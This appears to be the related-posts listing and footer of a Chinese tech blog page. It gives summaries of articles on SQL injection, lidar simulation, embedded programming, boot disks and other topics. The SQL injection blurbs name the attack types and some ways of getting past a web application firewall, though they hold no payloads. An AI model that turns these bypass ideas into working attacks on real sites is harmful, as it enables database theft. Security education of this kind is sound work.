针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。 其成因可归结为以下两个原理叠加造成: 1、程序编写者在处理程序和数据库交互时,使用字符串凭借的方式构造SQL语句。 2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。 SQL注入的攻击方式分为:报错注入、布尔盲注 、延时注入、堆叠查询、联合查询 、二次注入等等

qq_48904485的博客 2万+

OPTISYSTEM实战指南:线性调频连续波激光雷达系统仿真设计

本文提供了一份基于OPTISYSTEM软件的线性调频连续波激光雷达系统仿真实战指南。文章详细阐述了从软件界面熟悉、核心参数设置,到发射端、信道模型、相干接收端完整系统搭建的全过程,并介绍了性能优化与高级仿真技巧,旨在帮助读者快速掌握利用OPTISYSTEM进行低成本、高效率激光雷达系统设计与验证的方法。

weixin_29288313的博客 297

【SQL注入】小白手把手入门SQL注入1-数据库基础

数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。关系型数据库关系型数据库是基于关系模型的数据库系统,使用表格(表)来组织数据。数据以行和列的形式存储在表中,每个表代表一个实体或关系,每一行表示一个数据记录,每一列表示记录的属性。关系型数据库使用结构化查询语言(SQL)进行数据的查询和操作。关系型数据库中表与表之间是有很多复杂的关联关系的常见的关系型数据库有等。非关系型数据库。

开水的博客 5532

STM32HAL库学习笔记九——LCD显示

本文不会对驱动编写做特别详细的描述,以记录CubeMX的部署流程为主。

weixin_44762233的博客 6918

告别反复格式化!用Ventoy制作2025年终极启动盘,Windows/Linux/macOS一网打尽

本文详细介绍了如何使用Ventoy制作2025年终极多系统启动盘,彻底告别反复格式化U盘的烦恼。Ventoy通过创新的引导加载器架构,允许用户在一个U盘内同时存放并直接启动Windows、Linux、macOS等多种系统镜像和WePE等维护工具,实现真正的非破坏性管理和极高的U盘利用率。文章涵盖从安装配置、镜像库构建到安全启动设置等全流程实战指南。

weixin_29280219的博客 242

SQL注入

一、什么是SQL注入 SQL注入(SQL lnjection)是发生在Web程序中数据库层的安全漏洞,是比较常用的网络攻击方式之一,他不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至修改数据库。也就是说,SQL注入就是在用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。 二、SQL注入的原理 1.恶意拼接查

m0_51457307的博客 2万+

【电力电子控制】基于强化学习的单相逆变器并网电流控制

本文将尝试以 DQN(Deep Q-Network)为例,设计并训练一个面向单相逆变器的智能控制器,实现对并网电流的精准调节。

weixin_62596197的博客 463

【SQL注入入门必看】把手教你SQL注入,零基础入门到精通,看这一篇就够了!

数据库是“按照数据结构来组织、存储和管理数据的仓库”。是一个长期存储在计算机内的、有组织的、可共享的、统一管理的大量数据的集合。

2301_77472496的博客 843

《UDS协议从入门到精通(UDS速查手册)》(完结撒花版)

专栏总目录,文中介绍了UDS协议相关的基础知识和一些术语,给出了详细介绍6大类26种服务的跳转目录。

车载系统攻城狮 9万+

uniapp [全端兼容] - 实现内网使用天地图离线地图,详解项目加载天地图的离线地图服务器部署与使用教程示例源码,Uniapp如何实现天地图的离线加载部署在内网访问(兼容H5、微信小程序、App)

uniapp天地图如何离线访问,无需网络调用天地图API,天地图离线地图,天地图——内网使用离线地图,uniapp中加载天地图的离线地图,uniAPP实现天地图离线访问,在内网中无法直接使用外网天地图资源怎么办,在uni-app中加载地图 -使用天地图的瓦片数据。UNIAPP天地图离线怎么使用,内网部署天地图,天地图离线瓦片,部分瓦片数据,天地图如何离线,下载天地图离线服务,并用Uniapp+天地图离线部署,天地图私有化部署,实现离线加载天地图,Java+uniapp天地图离线开发,uniapp项目中无网络

🏆 前端领域优质创作者 4906

还不会SQL 注入?零基础入门到精通,看这一篇就够了!

SQL 注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码,欺骗后台数据库执行非授权的 SQL 语句。SQL 注入可以用于获取、篡改或删除数据库中的数据,甚至可以用于执行系统命令,导致数据泄露、数据破坏或服务器被控制等严重后果。我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~1、SQL 注入的工作原理。

分享Python知识 1038

HQChart实战教程49-点击修改K线颜色及背景色

HQChart实战教程49-点击修改K线颜色及背景色需求效果图步骤1. 注册点击监听事件2. 修改K颜色添加一个自定义颜色的K线klineoption清空所有自定义颜色的K线option交流QQ群: 950092318HQChart代码地址完整例子 需求 对点击的K线修改颜色。 效果图 步骤 1. 注册点击监听事件 事件ID JSCHART_EVENT_ID.ON_CLICK_CHART_PAINT, 注册监听事件见教程 HQChart使用教程5- K线图控件操作函数说明 this.Create=func

小银 2911

SQL注入(零基础入门到精通,看这一篇就够了!超详细!)

SQL注入是一种常见的Web安全漏洞,攻击者通过构造恶意SQL语句插入用户输入,欺骗数据库执行非预期命令。主要危害包括数据泄露、篡改、权限提升等。注入类型分为布尔盲注、时间盲注、报错注入、联合查询注入和堆叠注入等,利用不同技术手段获取数据库信息。常见绕过方法包括大小写变形、双重关键字、注释符替换、编码转换等。防御措施需严格过滤用户输入,使用参数化查询,并限制数据库权限。该漏洞危害严重,开发人员应充分重视并采取有效防护措施。

LunaWisp的博客 1130

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

SQL注入实战攻防:从入门到绕过WAF,从零基础入门到精通,收藏这一篇就够了!

这部分是整篇文章的重点。现在大部分网站都部署了WAF(Web应用防火墙),简单的注入payload会被直接拦截。以下是我这几年总结的绕过技巧。SQL注入虽然是个"老"漏洞,但至今仍然广泛存在。根据我的经验,大约30%的Web应用都存在不同程度的SQL注入风险。作为攻击者(或渗透测试人员),需要掌握各种注入技巧和绕过方法。但作为安全从业者,我更希望大家关注防御。毕竟,预防永远比事后补救更重要。核心原则只有一条:永远不要相信用户输入,所有外部数据都必须经过验证和处理。

分享Python知识 2052

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

黑客入门必会的SQL注入还迷茫?零基础入门到精通,看这一篇就够了!

SQL注入是一种常见的网络攻击手段,攻击者通过在Web应用输入字段插入恶意SQL代码,欺骗数据库执行非法操作。其工作原理包括输入验证不足、SQL语句拼接及恶意代码执行,可能导致数据泄露或服务器被控制。常见攻击类型包括基础型注入(如绕过登录验证)、UNION查询注入(合并查询结果)、错误型注入(利用错误信息推测数据)、盲注(通过响应推断数据)及堆叠查询注入(执行多条SQL语句)。开发者应加强输入验证和使用参数化查询来防范此类攻击。

hackers110的博客 903

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

常见的三种SQL注入方式详解,零基础入门到精通,收藏这一篇就够了!

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

Cairo_A的博客 868

SQL注入核心知识到实操,从零基础入门到精通,收藏这一篇就够了!

广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。:按数据结构组织、存储和管理数据的“仓库”,MySQL,MSSQL,Oracle等。

分享Python知识 666
上一篇: 网络安全运维高手必会的20个关键知识点!
下一篇: 手把手教你用 Kali Linux 的 nmap 扫描目标主机,一文带你零基础入门!
程序媛西米
博客等级 码龄5年 4030粉丝 1569原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值